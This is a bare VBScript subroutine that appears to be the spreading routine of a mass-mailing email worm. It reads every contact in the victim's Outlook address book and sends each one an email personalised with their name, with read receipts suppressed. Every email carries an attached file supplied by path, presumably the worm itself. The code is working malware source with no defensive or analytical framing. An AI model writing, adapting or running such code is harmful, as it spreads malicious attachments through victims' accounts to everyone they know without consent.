Sub SpreadOutLook(Message,Subject,SPath)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
    If Contacts.Items.Item(x).Email1Address <> "" Then
        Set Email = CreateObject("Outlook.Application").CreateItem(0)
        Email.To = Contacts.Items.Item(x).Email1Address
        Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.ReadReceiptRequested = False
        Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.Attachments.Add sPath
        Email.Send
    End If
next
End Sub